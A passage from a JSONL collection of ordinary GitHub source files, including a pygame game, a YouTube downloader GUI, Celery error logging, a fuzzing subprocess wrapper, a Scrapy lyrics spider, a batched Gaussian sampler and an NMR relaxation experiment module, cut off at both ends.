{self.x}\\n\" \\\n + f\"y: {self.y}\\n\" \\\n + f\"vel x: {self.velx}\\n\" \\\n + f\"vel y: {self.vely}\\n\" \\\n + f\"width: {self.width}\\n\" \\\n + f\"height: {self.height}\\n\" \\\n + f\"colors: {self.colors}\\n\"\n return s\n\n\n def __set_vels(self):\n \"\"\"Set the velocities based on the current keys being pressed\n\n This looks at the WASD keys and sets the velocity variables\n accordingly. If two opposing keys are both being pressed, it\n sets the velocities to 0.\n \"\"\"\n keys = pygame.key.get_pressed()\n d = {\n \"L\": keys[pygame.K_a],\n \"R\": keys[pygame.K_d],\n \"U\": keys[pygame.K_w],\n \"D\": keys[pygame.K_s]\n }\n\n\n if d[\"L\"] == d[\"R\"]:\n self.velx = 0\n elif d[\"L\"]:\n self.velx = -self.MAX_SPEED_X\n else:\n self.velx = self.MAX_SPEED_X\n\n if d[\"U\"] == d[\"D\"]:\n self.vely = 0\n elif d[\"D\"]:\n self.vely = self.MAX_SPEED_Y\n else:\n self.vely = -self.MAX_SPEED_Y\n\n\n def __get_bounds(self, win):\n \"\"\"These return the limits of where a player can go on a Pygame\n surface\n\n The bounds are dependent on Pygame surface and the id of the\n player.\n\n Parameters\n ----------\n win : pygame.Surface\n This is the Pygame surface that is drawn on\n\n Returns\n -------\n bounds : dict\n A dictionary with four string keys {L, R, U, D} that\n represent Left, Right, Up, and Down. Each key's value\n corresponds to a coordinate line on the window that\n signifies the bound.\n \"\"\"\n w, h = win.get_size()\n bounds = {\n \"L\": 0,\n \"R\": w - self.width\n }\n\n if self.id == 1:\n bounds[\"U\"] = 0\n bounds[\"D\"] = (h // 2) - self.height\n elif self.id == 2:\n bounds[\"U\"] = h // 2\n bounds[\"D\"] = h - self.height\n\n return bounds\n\n\n def get_dimensions(self):\n \"\"\"Returns the dimensions of the player\"\"\"\n return (self.x, self.y, self.width, self.height)\n\n\n def draw(self, win):\n \"\"\"Draws the bullet on the screen\n\n Parameters\n ----------\n win : pygame.Surface\n This is the Pygame surface that is drawn on\n \"\"\"\n pygame.draw.rect(win, self.colors, self.get_dimensions())\n\n\n def move(self, win):\n \"\"\"Changes the x and y values of the player\n\n This change is based on the velocity attributes. That are\n updated by calling the __set_vels() function. This also stops a\n player from moving out of bounds.\n\n Parameters\n ----------\n win : pygame.Surface\n This is the Pygame surface that is drawn on\n \"\"\"\n self.__set_vels()\n\n self.x += self.velx\n self.y += self.vely\n\n bounds = self.__get_bounds(win)\n\n if self.x < bounds[\"L\"]:\n self.x = bounds[\"L\"]\n elif self.x > bounds[\"R\"]:\n self.x = bounds[\"R\"]\n\n if self.y < bounds[\"U\"]:\n self.y = bounds[\"U\"]\n elif self.y > bounds[\"D\"]:\n self.y = bounds[\"D\"]\n","repo_name":"DaleNaci/Dual","sub_path":"data/components/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":5201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12007874166","text":"class Patient():\n def __init__(self, name):\n self.name = name\n def discharge(self):\n raise NotImplementedError(\"This is an abstract method and needs to be implemented in derived classes.\")\n\nclass EmergencyPatient(Patient):\n def discharge(self):\n print(\"Name: \", self.name)\n print(\"Kind: \", \"Emergency Patient\")\n return \"Emergency\"\n\nclass HospitalizedPatient(Patient):\n def discharge(self):\n print(\"Name: \", self.name)\n print(\"Kind: \", \"Hospitalized Patient\")\n return \"Hospitalize\"\n\nclass Hospital():\n def __init__(self):\n self.cost = 0\n self.patients = []\n def admit(self, patient):\n self.patients.append(patient)\n def discharge_all(self):\n for p in self.patients:\n kind = p.discharge()\n if kind == \"Emergency\":\n self.cost += 1000\n elif kind == \"Hospitalize\":\n self.cost += 2000\n def get_total_cost(self):\n print(\"the total cost: \", str(self.cost))\n return self.cost\n\nh = Hospital();\np1 = HospitalizedPatient(\"Jay\")\nh.admit(p1)\np2 = HospitalizedPatient(\"Sam\")\nh.admit(p2)\np3 = EmergencyPatient(\"Tom\")\nh.admit(p3)\np4 = EmergencyPatient(\"Lee\")\nh.admit(p4)\np5 = EmergencyPatient(\"Susan\")\nh.admit(p5)\n\nh.discharge_all()\nh.get_total_cost()","repo_name":"YijieLi220/HPM573S18_Li_HW3","sub_path":"HW3.py","file_name":"HW3.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70567390634","text":"from pytube import YouTube\r\nimport ttkbootstrap as ttk\r\nfrom ttkbootstrap.dialogs import MessageDialog\r\n\r\npad_x = 40\r\npad_y = 7\r\nTEXT_FONT = ('Arial Narrow', 18)\r\n\r\nwin = ttk.Window(themename='darkly')\r\nwin.geometry(\"700x400\")\r\nwin.title(\"YtDownloader\")\r\n\r\nqualities = [\"select\", \"Highest Resolution\", \"Lowest Resolution\"]\r\nqualities_var = ttk.StringVar(win)\r\n\r\n# widgets\r\nlabel1 = ttk.Label(win, text=\"Paste your Youtube link below:\",\r\n font=TEXT_FONT)\r\nlabel1.grid(column=0, row=0, sticky=ttk.W, padx=pad_x, pady=pad_y)\r\n\r\nplace_holder = ttk.Label(win, text=\" \"*35, font=TEXT_FONT)\r\nplace_holder.grid(column=1, row=0, padx=pad_x, pady=pad_y)\r\n\r\nlink_input = ttk.Entry(win, font=TEXT_FONT)\r\nlink_input.grid(column=0, columnspan=2, row=1, sticky=ttk.EW, padx=pad_x, pady=pad_y)\r\n\r\nlabel2 = ttk.Label(win, text=\"Enter the path to download to:\",\r\n font=TEXT_FONT)\r\nlabel2.grid(column=0, row=2, sticky=ttk.W, padx=pad_x, pady=pad_y)\r\n\r\npath_input = ttk.Entry(win, font=TEXT_FONT)\r\npath_input.grid(column=0, columnspan=2, row=3, sticky=ttk.EW, padx=pad_x, pady=pad_y)\r\n\r\nlabel3 = ttk.Label(win, text=\"Choose the quality:\",\r\n font=TEXT_FONT)\r\nlabel3.grid(column=0, row=4, sticky=ttk.W, padx=pad_x, pady=pad_y)\r\n\r\nqualities_menu = ttk.OptionMenu(win, qualities_var, *qualities)\r\nqualities_menu.grid(column=0, row=5, sticky=ttk.EW, padx=pad_x, pady=pad_y)\r\n\r\n\r\ndef download():\r\n link = link_input.get()\r\n path = path_input.get()\r\n quality = qualities_var.get()\r\n\r\n info_full = True\r\n if link == \"\":\r\n dialog = MessageDialog(\"Enter the video link\")\r\n dialog.show()\r\n info_full = False\r\n elif path == \"\":\r\n dialog = MessageDialog(\"Select a path\")\r\n dialog.show()\r\n info_full = False\r\n\r\n yt_video = YouTube(link)\r\n\r\n if info_full:\r\n if quality == \"Highest Resolution\":\r\n yt_video = yt_video.streams.get_highest_resolution()\r\n print(\"downloading highest\")\r\n elif quality == \"Lowest Resolution\":\r\n yt_video = yt_video.streams.get_lowest_resolution()\r\n print(\"downloading lowest\")\r\n else:\r\n dialog = MessageDialog(\"Select a quality\")\r\n dialog.show()\r\n\r\n yt_video.download(path)\r\n\r\n\r\n# buttons\r\ndownload_button = ttk.Button(win, text=\"Download\", command=download)\r\ndownload_button.grid(column=1, row=5, sticky=ttk.EW, padx=pad_x, pady=pad_y)\r\n\r\nwin.mainloop()\r\n","repo_name":"LuigiOdinson/MiniProjects-Python","sub_path":"ytDownloader.py","file_name":"ytDownloader.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43596210518","text":"import numpy as np\nimport re\nfrom datetime import datetime, timedelta\ndef setDimensions(OBS):\n '''\n Takes an observation structure, calculate unique survey_times\n and number of observations within each survey.\n Returns OBS\n '''\n OBS.toarray()\n OBS.survey_time=np.unique(OBS.time)\n\n OBS.Nsurvey=len(OBS.survey_time)\n OBS.Ndatum=len(OBS.time)\n Nobs=np.ones_like(OBS.survey_time)*float('nan')\n for item in enumerate(OBS.survey_time):\n Nobs[item[0]] = len(np.array(np.argwhere(OBS.time==item[1])))\n OBS.Nobs=Nobs\n return OBS\n\ndef accum_np(accmap, a, func=np.sum):\n indices = np.where(np.ediff1d(accmap, to_begin=[1],to_end=[1]))[0]\n vals = np.zeros(len(indices) - 1)\n for i in xrange(len(indices) - 1):\n vals[i] = func(a[indices[i]:indices[i+1]])\n return vals\n\ndef roundTime(dt=None, roundTo=60):\n \"\"\"Round a datetime object to any time lapse in seconds\n dt : datetime.datetime object, default now.\n roundTo : Closest number of seconds to round to, default 1 minute.\n Author: Thierry Husson 2012 - Use it as you want but don't blame me.\n \"\"\"\n if dt == None : dt = datetime.now()\n seconds = (dt.replace(tzinfo=None) - dt.min).seconds\n rounding = (seconds+roundTo/2) // roundTo * roundTo\n return dt + timedelta(0,rounding-seconds,-dt.microsecond)\n\ndef sort_ascending(OBS):\n '''\n Takes an observation structure and sorts the observations\n according to ascending time'\n '''\n field_list=OBS.getfieldlist()\n OBS.tolist()\n\n # order according to ascending obs_time\n tmplist = sorted(zip(*[getattr(OBS,names) for names in field_list]))\n tmplist = list(zip(*tmplist))\n\n for n in range(0,len(field_list)):\n if (len(OBS.__dict__[field_list[n]])):\n setattr(OBS,field_list[n],tmplist[n])\n OBS.toarray()\n OBS=setDimensions(OBS)\n\n return OBS\n\ndef popEntries(popindex, OBS):\n field_list=OBS.getfieldlist()\n OBS.tolist()\n\n popindex=np.array(popindex).squeeze()\n if popindex.size>1:\n indices=sorted(popindex.tolist(),reverse=True)\n for index in indices:\n for names in field_list:\n if (len(OBS.__dict__[names])):\n del OBS.__dict__[names][index]\n elif (popindex.size<2) & (popindex.size>0):\n index=popindex\n for names in field_list:\n if (len(OBS.__dict__[names])):\n del OBS.__dict__[names][index]\n return OBS\n\ndef atoi(text):\n return int(text) if text.isdigit() else text\n\ndef natural_keys(text):\n '''\n alist.sort(key=natural_keys) sorts in human order\n http://nedbatchelder.com/blog/200712/human_sorting.html\n (See Toothy's implementation in the comments)\n '''\n return [ atoi(c) for c in re.split(r'(\\d+)', text) ]\n\ndef extract_number(string):\n '''\n Function that can help sort filelist with datestring in filename\n '''\n r = re.compile(r'(\\d+)')\n return int(r.findall(string)[0])\n","repo_name":"metno/pyromsobs","sub_path":"pyromsobs/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2955,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"8856213592","text":"from __future__ import absolute_import, unicode_literals\n\nimport datetime\nimport logging\nimport os\nimport pickle\nimport uuid\nfrom pathlib import Path\n\nfrom celery import Celery, Task\nfrom celery.worker.request import Request\n\nfrom minotourapp.settings import BASE_DIR\n\nlogger = logging.getLogger(\"my.package\")\n\n\nclass MyRequest(Request):\n \"\"\"A minimal custom request to log failures and hard time limits.\"\"\"\n\n def on_timeout(self, soft, timeout):\n super(MyRequest, self).on_timeout(soft, timeout)\n error_log_file = f\"{BASE_DIR}/celery_error.log\"\n with open(error_log_file, \"a\") as fh:\n fh.write(\n f\"{self.task.name} failed at {datetime.datetime.now()}\"\n f\" processing:\\n {str(self.info())}\"\n )\n\n def on_failure(self, exc_info, send_failed_event=True, return_ok=False):\n super(MyRequest, self).on_failure(\n exc_info, send_failed_event=send_failed_event, return_ok=return_ok\n )\n error_log_file = f\"{BASE_DIR}/celery_error.log\"\n uuid_str = uuid.uuid4()\n Path(f\"{BASE_DIR}/pickled_args/\").mkdir(exist_ok=True, parents=True)\n pickle_file = f\"{BASE_DIR}/pickled_args/{uuid_str}.pickle\"\n with open(error_log_file, \"a\") as fh:\n fh.write(\n f\"{self.task.name} failed at {datetime.datetime.now()} with {str(exc_info.traceback)}\"\n f\" processing:\\n args stored in pickle at {uuid_str}.pickle\\n\"\n )\n with open(pickle_file, \"wb\") as fh:\n pickle.dump(self._args, fh, protocol=pickle.HIGHEST_PROTOCOL)\n\n\nclass MyTask(Task):\n Request = MyRequest\n\n\n# set the default Django settings module for the 'celery' program.\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"minotourapp.settings\")\n\napp = Celery(\"minotourapp\")\n\n\n# Using a string here means the worker don't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n# should have a `CELERY_` prefix.\napp.config_from_object(\"django.conf:settings\", namespace=\"CELERY\")\n\napp.autodiscover_tasks()\n","repo_name":"LooseLab/minotourapp","sub_path":"minotourapp/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"72"} +{"seq_id":"31292298559","text":"class Dog:\n def __init__(self, name, breed, age):\n self.name = name\n self.breed = breed\n self.age = age\n\n def bark(self):\n print(\"Woof! Woof!\")\n\n\nclass DogOwner:\n def __init__(self, name, dog):\n self.name = name\n self.dog = dog\n\n def walk_dog(self):\n print(f\"{self.name} is walking {self.dog.name}\")\n\n\ndog1 = Dog(\"Buddy\", \"Golden Retriever\", 3)\ndog2 = Dog(\"Charlie\", \"Beagle\", 2)\nowner1 = DogOwner(\"Alice\", dog1)\nowner2 = DogOwner(\"Bob\", dog2)\n\ndog1.bark()\nowner2.walk_dog()\ndog2.bark()\nowner1.walk_dog()\n","repo_name":"AlexeiShelkoviy/New6","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20428407891","text":"from ..Utilities import _\n\ncata_msg = {\n 1: _(\n \"\"\"La relation linéaire destinée à éliminer un des noeuds esclaves est une tautologie car la maille maître en vis à vis de ce noeud possède ce même noeud dans sa connectivité. On ne l'écrit donc pas.\"\"\"\n ),\n 2: _(\"\"\"La composante normale (DNOR) doit être la seule des composantes de la liste.\"\"\"),\n 4: _(\n \"\"\"Un des éléments esclave n'est pas du bon type.\n Pour le calcul de la normale, il faut que les éléments soient de la bonne dimension: des segments en 2D ou des faces en 3D.\"\"\"\n ),\n 6: _(\n \"\"\" Le modèle contient un mélange d'éléments 2D (vivant dans le plan Oxy) et 3D.\n Il n'est pas possible de réaliser une liaison dans cette configuration.\"\"\"\n ),\n 9: _(\n \"\"\"Il est interdit d'avoir deux mailles de type POI1 simultanément sur les deux surfaces en vis-à-vis.\"\"\"\n ),\n 11: _(\"\"\"Tous les maillages doivent être identiques entre le chargement et la projection.\"\"\"),\n 12: _(\n \"\"\"Avec l'option TYPE='EXCENTREMENT' les seules mailles disponibles sont TRIA3 et QUAD4.\"\"\"\n ),\n 13: _(\"\"\"La relation linéaire pour un des noeuds est une tautologie. On ne l'écrit pas.\"\"\"),\n 14: _(\"\"\"Une des composantes n'existe pas sur l'un des noeuds à relier.\"\"\"),\n 15: _(\"\"\"L'excentrement ne fonctionne qu'avec des modélisations 3D.\"\"\"),\n 16: _(\n \"\"\"L'excentrement ne fonctionne pas car un des noeuds n'a pas tous les degrés de liberté de rotation.\"\"\"\n ),\n 48: _(\n \"\"\"Il n'y a aucun noeud esclave à lier pour l'occurrence %(i1)d du mot clé LIAISON_MAIL.\n Peut-être que tous les noeuds esclaves ont déjà été éliminés dans des occurrences précédentes.\"\"\"\n ),\n 49: _(\n \"\"\" Pour le calcul de la normale sur le côté esclave, il faut donner des éléments de facette.\"\"\"\n ),\n}\n","repo_name":"Krande/code-aster-copy","sub_path":"code_aster/Messages/charges7.py","file_name":"charges7.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40412070972","text":"# -*- coding:utf-8 -*-\nimport os.path\n\nfrom kstock.common.exception import (\n EnvironmentVariableNotSetException, PeriodTypeNotSupportedException, StockCodeNotSupportedException\n)\nfrom kstock.tdx import config\nfrom kstock.tdx import consts\n\n\ndef vipdoc_root(root: str = '') -> str:\n return root if root else config.instance().vipdoc\n\n\ndef stock_candle_file_path(code: str, period: str, vipdoc_root_path: str = '') -> str:\n vipdoc_root_path = vipdoc_root(vipdoc_root_path)\n if not vipdoc_root_path:\n raise EnvironmentVariableNotSetException('TDX_VIPDOC')\n code_file_config_candidate = None\n for code_file_config in consts.stock_code_tdx_file_map:\n if code.startswith(code_file_config['prefix']):\n code_file_config_candidate = code_file_config\n break\n if not code_file_config_candidate:\n raise StockCodeNotSupportedException(code)\n period_type_file_config = consts.candle_period_type_tdx_file_map.get(period)\n if not period_type_file_config:\n raise PeriodTypeNotSupportedException(period)\n return os.path.join(\n vipdoc_root_path,\n code_file_config_candidate['path'],\n period_type_file_config['path'],\n code_file_config_candidate['filename_format'].format(code=code, suffix=period_type_file_config['suffix'])\n )\n\n\ndef tdx_root(root: str = '') -> str:\n return root if root else config.instance().root\n\n\ndef block_file_dir(tdx_root_path: str = '') -> str:\n tdx_root_path = tdx_root(tdx_root_path)\n if not tdx_root_path:\n raise EnvironmentVariableNotSetException('TDX_ROOT')\n return os.path.join(\n tdx_root_path,\n 'T0002',\n 'blocknew'\n )\n\n\ndef is_stock_market_sh(code: str) -> bool:\n return code.startswith('6')\n","repo_name":"kkppzzah/kstock","sub_path":"kstock/tdx/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"15941724608","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom myproject.items import Title\n\nclass LyricSpider(scrapy.Spider):\n name = 'lyric'\n allowed_domains = ['uta-net.com']\n start_urls = []\n start_urls.append('https://www.uta-net.com/name_list')\n\n def parse(self, response):\n for url in response.css(\"#kana_navi1 .hover::attr('href')\").extract():\n print(url)\n yield scrapy.Request(response.urljoin(url), self.parse_kana_artist)\n\n def parse_kana_artist(self, response):\n for url in response.css(\".name a::attr('href')\").extract():\n print(url)\n yield scrapy.Request(response.urljoin(url), self.parse_artist)\n\n def parse_artist(self, response):\n artist_name = response.css(\".td2 a::text\").extract()[0]\n song_num = int(response.css(\".f_style3::text\").extract()[0])\n print(artist_name, song_num, \"aaa\")\n if song_num < 100:\n return;\n for url in response.css(\".side a::attr('href')\").extract():\n if url.startswith(\"/song/\"):\n yield scrapy.Request(response.urljoin(url), self.parse_song)\n\n def parse_song(sel, response):\n item = Title()\n item['name'] = response.css(\".title h2::text\").extract()[0]\n item['artist'] = response.css(\".kashi_artist span::text\").extract()[0]\n item['access_count'] = int(response.css(\".access_count span::text\").extract()[0].replace(\",\", \"\"))\n yield item\n\n\n\n","repo_name":"tkygtr6/lyrics_app","sub_path":"data/uta_net/myproject/spiders/lyric.py","file_name":"lyric.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36729149020","text":"import errno\nimport fcntl\nimport json\nimport logging\nimport os\nimport re\nimport shlex\nimport select\nimport signal\nimport subprocess\nimport sys\nimport time\n\nlogger = logging.getLogger(__name__)\n\n\nclass StreamMonitoredSubprocessCall(object):\n \"\"\"\n .. note::\n\n Not available on platforms without fcntl support (e.g., Windows).\n \"\"\"\n\n def __init__(self, command, cwd=None, env=None, end_patterns=None, timeout=None, **kwargs):\n self.command = command\n self.cwd = cwd or os.getcwd()\n self.end_patterns = [re.compile(pattern.encode('utf-8', errors='ignore'), flags=re.MULTILINE | re.DOTALL) for pattern in json.loads(end_patterns)] if end_patterns else []\n self.env = dict(os.environ, **json.loads(env)) if env else None\n self.timeout = int(timeout) if timeout else None\n\n def __enter__(self):\n return self\n\n def __exit__(self, *exc):\n return None\n\n def __call__(self, test, **kwargs):\n if self.timeout:\n start_time = time.time()\n\n proc = subprocess.Popen(shlex.split(self.command.format(test=test), posix=sys.platform != 'win32'),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=self.cwd or os.getcwd(),\n env=self.env)\n\n streams = {'stdout': b'', 'stderr': b''}\n issue = None\n\n select_fds = [stream.fileno() for stream in [proc.stderr, proc.stdout]]\n for fd in select_fds:\n fl = fcntl.fcntl(fd, fcntl.F_GETFL)\n fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)\n\n end_loop = False\n while not end_loop:\n try:\n try:\n read_fds = select.select(select_fds, [], select_fds, 0.5)[0]\n except select.error as e:\n if e.args[0] == errno.EINVAL:\n continue\n raise\n\n for stream, _ in streams.items():\n if getattr(proc, stream).fileno() in read_fds:\n while True:\n chunk = getattr(proc, stream).read(512)\n if not chunk:\n break\n streams[stream] += chunk\n\n for pattern in self.end_patterns:\n match = pattern.search(streams[stream])\n if match is not None:\n end_loop = True\n issue = match.groupdict()\n\n if proc.poll() is not None or (self.timeout and time.time() - start_time > self.timeout):\n break\n except IOError as e:\n logger.warning('[filter_streams] %s' % str(e))\n\n try:\n os.kill(proc.pid, signal.SIGKILL)\n proc.wait()\n except:\n pass\n\n logger.debug('{stdout}\\n{stderr}'.format(stdout=streams['stdout'].decode('utf-8', errors='ignore'),\n stderr=streams['stderr'].decode('utf-8', errors='ignore')))\n if issue:\n issue.update(dict(exit_code=proc.returncode,\n stderr=streams['stderr'],\n stdout=streams['stdout']))\n return issue\n","repo_name":"adrian-rt/fuzzinator","sub_path":"fuzzinator/call/stream_monitored_subprocess_call.py","file_name":"stream_monitored_subprocess_call.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"11652514225","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nSingle function: sample, draws batched samples from N multivariate Gaussians.\n\nCreated: July 2022\nAuthor: A. P. Naik\n\"\"\"\nimport numpy as np\n\n\ndef sample(means, covs, rng=None):\n r\"\"\"\n Batch sample from N different M-dimensional Gaussian distributions.\n\n You have N different Gaussian distributions. Each is multivariate (M\n dimensions), and specified by a mean and an MxM dimensional covariance\n matrix. Together, all the means are specifed by an NxM array and the\n covariances are an NxMxM array. This function draws one sample from each\n Gaussian, and returns all the samples as an NxM array.\n\n Parameters\n ----------\n means : array, shape (N, M)\n Means.\n covs : array, shape (N, M, M)\n Covariance matrices.\n rng : np.random.Generator, optional\n Random number generator from numpy, e.g. as generated via the function\n np.random.default_rng. If None is given, then the RNG used is\n default_rng(42). The default is None.\n\n Returns\n -------\n samples : array, shape (N, M)\n Gaussian samples.\n\n Notes\n -----\n Mathematically, the sampler works by (batch-)making a Cholesky\n decomposition of the covariance matrices :math:`\\Sigma = L L^T` and taking\n advantage of the fact that if :math:`X` is a batch of samples from a\n standard normal distribution then :math:`LX + \\mu` has covariance\n :math:`\\Sigma` and mean :math:`\\mu`.\n\n \"\"\"\n\n # get and check shapes\n N = means.shape[0]\n M = means.shape[-1]\n assert means.shape == (N, M)\n assert covs.shape == (N, M, M)\n\n # RNG\n if rng is None:\n rng = np.random.default_rng(42)\n\n # cholesky decomposition\n L = np.linalg.cholesky(covs)\n\n # samples y = Lx + mu\n x = rng.standard_normal((N, M))\n samples = (L @ x[..., None]).squeeze() + means\n return samples\n","repo_name":"aneeshnaik/batchgauss","sub_path":"batchgauss.py","file_name":"batchgauss.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"20859728045","text":"# T秒開く,開いている間通るとT秒延長\n# N人\n\n\n\nn, t = map(int, input().split())\ntimes = [ int(input()) for i in range(n) ]\n\nopen_time = 0\n\ndef check(index):\n lis = []\n while True:\n if index + 1 == len(times):\n lis.append(times[index])\n return (index + 1, lis)\n sub = times[index + 1] - times[index]\n lis.append(times[index])\n if sub <= t:\n pass\n else:\n return (index + 1, lis)\n index += 1\n return (index, lis)\n\nnow = 0\nsplit_list = []\nfor i in range(n):\n if now == i:\n now, lis = check(i)\n split_list.append(lis)\n\nfor i in split_list:\n if len(i) == 1:\n open_time += t\n else:\n open_time += i[len(i) - 1] - i[0] + t\n\nprint(open_time)\n","repo_name":"mitubaEX/one_day_one_ABC","sub_path":"ABC/001-050/024/B/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21397111949","text":"from image_lane_finder import *\n\n# main code\nclass VideoLaneFinder:\n def __init__(self, camera, perspective_mtx, perspective_mtxInv, img_shape, preprocessor):\n self.init_values()\n self.frame_lane_finder = ImageLaneFinder(camera, perspective_mtx, perspective_mtxInv, img_shape, preprocessor)\n\n def init_values(self):\n self.prev_left = None\n self.prev_right = None\n\n def process_frame(self, image):\n undistorted, left_fit, right_fit = self.frame_lane_finder.find_lanes(image, self.prev_left, self.prev_right)\n\n if self.prev_left == None:\n # first fit found\n self.prev_left = left_fit\n self.prev_right = right_fit\n else:\n if left_fit != None:\n potential_left_fit = left_fit * 0.2 + self.prev_left * 0.8\n left_diff = abs(potential_left_fit - self.prev_left)\n if abs(self.frame_lane_finder.measure_lane_curvature(potential_left_fit) < 10000):\n if not (left_diff[0] > 0.001 or left_diff[1] > 1.0 or left_diff[2] > 100):\n self.prev_left = potential_left_fit\n if right_fit != None:\n potential_right_fit = right_fit * 0.2 + self.prev_right * 0.8\n right_diff = abs(potential_right_fit - self.prev_right)\n if abs(self.frame_lane_finder.measure_lane_curvature(potential_right_fit) < 10000):\n if not (right_diff[0] > 0.001 or right_diff[1] > 1.0 or right_diff[2] > 100):\n self.prev_right = potential_right_fit\n\n return self.frame_lane_finder.draw_lanes(undistorted, self.prev_left, self.prev_right)\n\n def find_lanes(self, video):\n self.init_values()\n output_video = video.fl_image(self.process_frame)\n return output_video","repo_name":"mahuna13/Vehicle-Detection","sub_path":"video_lane_finder.py","file_name":"video_lane_finder.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3959281095","text":"from __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom typing import Literal\n\nimport numpy as np\nfrom numpy.typing import NDArray\n\nfrom chemex.configuration.data import RelaxationDataSettings\nfrom chemex.configuration.experiment import ExperimentConfig\nfrom chemex.configuration.experiment import RelaxationSettings\nfrom chemex.configuration.experiment import ToBeFitted\nfrom chemex.containers.data import Data\nfrom chemex.containers.dataset import load_relaxation_dataset\nfrom chemex.experiments.configurations import configurations\nfrom chemex.experiments.descriptions import descriptions\nfrom chemex.experiments.factories import Creators\nfrom chemex.experiments.factories import factories\nfrom chemex.filterers import PlanesFilterer\nfrom chemex.nmr.liouvillian import Basis\nfrom chemex.nmr.liouvillian import LiouvillianIS\nfrom chemex.nmr.spectrometer import Spectrometer\nfrom chemex.parameters.spin_system import SpinSystem\nfrom chemex.plotters import RelaxationPlotter\nfrom chemex.printers.data import RelaxationPrinter\n\n# Type definitions\nNDArrayFloat = NDArray[np.float_]\nNDArrayBool = NDArray[np.bool_]\n\n\nEXPERIMENT_NAME = \"relaxation_hznz\"\n\n\nclass RelaxationHzNzSettings(RelaxationSettings):\n name: Literal[\"relaxation_hznz\"]\n observed_state: Literal[\"a\", \"b\", \"c\", \"d\"] = \"a\"\n\n @property\n def detection(self) -> str:\n return f\"[2izsz_{self.observed_state}]\"\n\n\nclass RelaxationHzNzConfig(\n ExperimentConfig[RelaxationHzNzSettings, RelaxationDataSettings]\n):\n @property\n def to_be_fitted(self) -> ToBeFitted:\n state = self.experiment.observed_state\n return ToBeFitted(\n rates=[f\"r1a_is_{state}\"],\n model_free=[f\"tauc_{state}\", f\"s2_{state}\", f\"khh_{state}\"],\n )\n\n\ndef build_spectrometer(\n config: RelaxationHzNzConfig, spin_system: SpinSystem\n) -> Spectrometer:\n\n settings = config.experiment\n conditions = config.conditions\n\n basis = Basis(type=\"izsz\", spin_system=\"nh\")\n liouvillian = LiouvillianIS(spin_system, basis, conditions)\n spectrometer = Spectrometer(liouvillian)\n\n spectrometer.detection = settings.detection\n\n return spectrometer\n\n\n@dataclass\nclass RelaxationHzNzSequence:\n settings: RelaxationHzNzSettings\n\n def calculate(self, spectrometer: Spectrometer, data: Data) -> np.ndarray:\n\n times = data.metadata\n\n # Getting the starting magnetization\n start = spectrometer.get_start_magnetization([\"2izsz\"])\n\n # Return profile\n delays = spectrometer.delays(0.25 * np.array(times))\n p180_i = spectrometer.perfect180_i[0]\n p180_s = spectrometer.perfect180_s[0]\n return np.array(\n [\n spectrometer.detect(\n delay @ p180_s @ delay @ p180_i @ delay @ p180_s @ delay @ start\n )\n for delay in delays\n ]\n )\n\n def is_reference(self, metadata: NDArrayFloat) -> NDArrayBool:\n return np.full_like(metadata, False, dtype=np.bool_)\n\n\ndef register():\n creators = Creators(\n config_creator=RelaxationHzNzConfig,\n spectrometer_creator=build_spectrometer,\n sequence_creator=RelaxationHzNzSequence,\n dataset_creator=load_relaxation_dataset,\n filterer_creator=PlanesFilterer,\n printer_creator=RelaxationPrinter,\n plotter_creator=RelaxationPlotter,\n )\n factories.register(type=EXPERIMENT_NAME, creators=creators)\n descriptions.register(EXPERIMENT_NAME, __package__, \"description.md\")\n configurations.register(EXPERIMENT_NAME, __package__, \"config.toml\")\n","repo_name":"FrederikTheisen/chemex_FFT","sub_path":"experiments/catalog/relaxation_hznz/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26081405411","text":"import skimage.feature\nimport numpy as np\nimport cv2\n\ncam = cv2.VideoCapture(0)\n\nwhile True:\n ret_val, img = cam.read()\n image = skimage.feature.canny(image=img)\n cv2.imshow('Edges test', image)\n if cv2.waitKey(1) == 27:\n 